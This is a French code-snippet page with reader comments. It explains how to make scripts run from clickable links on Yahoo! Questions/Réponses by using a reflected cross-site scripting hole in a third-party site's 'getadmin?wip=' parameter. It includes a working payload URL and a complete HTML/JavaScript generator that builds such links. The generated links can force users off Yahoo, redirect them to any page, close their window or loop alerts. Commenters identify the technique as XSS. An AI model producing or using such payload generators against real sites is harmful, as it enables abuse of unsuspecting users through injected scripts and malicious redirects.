Exécuter un script inséré dans un lien sur yahoo! questions/réponses

Soyez le premier à donner votre avis sur cette source.

Snippet vu 6 817 fois - Téléchargée 17 fois

Contenu du snippet

Dans la section Yahoo! Questions/Réponses, lorsqu'une adresse de page Web est insérée en question ou en réponse, le lien devient actif (ou cliquable).
Par exemple, si vous tapez:
http://www.javascriptfr.com/
une fois la question ou la réponse postée, l'adresse devient un lien actif.

Il est possible alors d'insérer un script dans une adresse de page Web afin qu'il soit exécuté lorsque le lien est cliqué.
Par exemple, en insérant l'adresse suivante:
http://www.sdv.fr/cgi/clients/getadmin?wip=<script>alert('Merci!');</script>
on peut faire afficher un message d'alerte contenant le texte: Merci!

Toutefois, le l'adresse ne doit en aucun cas contenir d'espace sinon le lien ne devient plus actif.
Ainsi, la définition de variables en javascript utilisant la fonction "var " n'est pas utilisable ici.
Néanmoins, il est possible d'utiliser les fonctions telles que:
- alert(); pour afficher un message d'alerte
- for(a=0;a<10;a++){}; pour réaliser une boucle
- a=confirm();if(a==true){}else{} pour proposer un choix conditionnel
- self.close(); pour fermer la fenêtre de navigation
- location.href=""; pour rediriger vers la page souhaitée
etc.

Ainsi, une page HTML a été crée afin de faciliter l'insertion de scripts dans un lien.
Le code source de cette page est présenté dans la section Source.

Source / Exemple :


<html>
<head>
<title>Générateur de scripts dans un lien</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<SCRIPT>
function montrer()
{
if (document.forms.input.cb_alert.checked == true)
{
var str2 = document.forms.input.tx_alert.value;
str2 = str2.replace(/ /g, "_");
str2 = str2.replace(/'/g, "");
str2 = str2.replace(/"/g, "");
alert(str2);
}
else
{
alert("Merci de coche la case d'action correspondante.");
}
}

function generer()
{
var str0 = "http://www.sdv.fr/cgi/clients/getadmin?wip=<script>";
var str1 = "";

if (document.forms.input.cb_for.checked == true)
{
str1 = str1 + "for(i=0;i<"+document.forms.input.tx_for.value+";i++){";
}

if (document.forms.input.cb_alert.checked == true)
{
var str2 = document.forms.input.tx_alert.value;
str2 = str2.replace(/ /g, "_");
str2 = str2.replace(/'/g, "");
str2 = str2.replace(/"/g, "");
str1 = str1 + "alert('" + str2 + "');";
}

if (document.forms.input.cb_for.checked == true)
{
str1 = str1 + "}";
}

if (document.forms.input.cb_href.checked == true)
{
var c = 0;
for (i=0;i<3;i++)
{if (document.forms.input.choix[i].checked == true){c=i;break;}}
var str3 = document.forms.input.choix[i].value;
if (str3 == "")
{str3=document.forms.input.tx_href.value;}
str1 = str1 + 'location.href="'+ str3 + '";';
}

if (document.forms.input.cb_close.checked == true)
{
str1 = str1 + "self.close();";
}

if (str1 == "")
{str0 = "";}
else
{str0 = str0 + str1 + "</" + "script>";}

document.forms.input.script_gen.value = str0;

}

</SCRIPT>

</head>

<body bgcolor="#FFFFFF" text="#000000">
<p>Cette page permet de générer un script exécutable en cliquant sur 
  un lien dans Yahoo! Q/R.</p>
Cochez les actions que vous souhaitez effectuer :
<FORM NAME="input">
<input type="checkbox" name="cb_for" unchecked onclick="javascript:generer()">
Faire tourner une boucle
<input type="text" name="tx_for" value="10" size=3>
fois
<p></p>

  <p> 
    <input type="checkbox" name="cb_alert" unchecked onclick="javascript:generer()">
    Afficher le texte suivant<br>
    <textarea name="tx_alert" cols="40" wrap="VIRTUAL">Merci!</textarea>
    <br>
    &nbsp;Ajouter \n pour indiquer de revenir à la ligne </p>
  <p>
    <input type="button" name="Submit" value="Afficher le résultat" onclick="javascript:montrer()">
  </p>
  <p></p>

<input type="checkbox" name="cb_href" unchecked onclick="javascript:generer()">
Rediriger vers :
<br>
  &nbsp;&nbsp;&nbsp;&nbsp; 
  <INPUT TYPE="radio" NAME="choix" VALUE="http://login.europe.yahoo.com/config/login?logout=1" defaultchecked=true onclick="javascript:generer()" checked>
La déconnexion de Yahoo!
<br>
  &nbsp;&nbsp;&nbsp;&nbsp; 
  <INPUT TYPE="radio" NAME="choix" VALUE="http://fr.answers.yahoo.com/info/community_guidelines.php" onclick="javascript:generer()">
La charte Yahoo! France
<br>
  &nbsp;&nbsp;&nbsp;&nbsp; 
  <INPUT TYPE="radio" NAME="choix" VALUE="" onclick="javascript:generer()">
La page suivante 
  <input type="text" name="tx_href" value="http://www." size=100>
<p></p>

<input type="checkbox" name="cb_close" unchecked onclick="javascript:generer()">
Fermer la fenêtre
<p></p>

Script généré :<br>
  <textarea name="script_gen" onFocus="javascript:generer()" cols="100" wrap="VIRTUAL"></textarea>

</form>
</body>
</html>

Conclusion :


Il n'est toutefois pas recommandé d'abuser de l'utilisation de ces scripts dans Yahoo! Q/R sous peine d'exclusion définitive du service.

A voir également

Ajouter un commentaire

Commentaires

Messages postés
278
Date d'inscription
jeudi 12 janvier 2006
Statut
Membre
Dernière intervention
22 décembre 2008

Euh, je ne parlerai pas du débat XSS ou pas XSS mais rien n'empecher d'utiliser des JavaScript contentant des espaces, vu que normalement une URL doit être encodée (les espaces, c'est %20, par exemple)
Messages postés
9
Date d'inscription
samedi 11 mars 2006
Statut
Membre
Dernière intervention
28 octobre 2008

je n'est pas dit le contraire. C'est toi qui a mal interprété ma réponse.
Quoiqu'il en soit, il semble que maintenant la fonction générant des "liens cliquables" ait été supprimée:
http://fr.answers.yahoo.com/question/index?qid=20080207001116AAUgLwQ&r=w#PcFbCUThDUWls9qb5LDP
Ce n'est pas une si mauvaise chose que ça.
Messages postés
1044
Date d'inscription
lundi 7 mars 2005
Statut
Membre
Dernière intervention
13 juillet 2010
7
La faille utilisé n'est pas sur Yahoo justement, tu utilises le XSS d'un autre site. http://www.sdv.fr/ c'est pas Yahoo ça.
Messages postés
9
Date d'inscription
samedi 11 mars 2006
Statut
Membre
Dernière intervention
28 octobre 2008

Merci /ARTO_8000/ pour l'information.
N'étant ni informaticien, ni programmeur, je ne connaissais pas le terme de "Cross Site Scripting".

Quant à ta question: "quel serait le but d'utiliser une faille de sécurité d'un autre site ?"
Je répondrai mettre en évidence l'impact que peut avoir cette faille sur un autre site, tel que Yahoo! Q/R en l'occurence.
Messages postés
1044
Date d'inscription
lundi 7 mars 2005
Statut
Membre
Dernière intervention
13 juillet 2010
7
C'est ce qu'on appelle dans le jargon un XSS, et quel serait le but d'utiliser une faille de sécurité d'un autre site ?

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.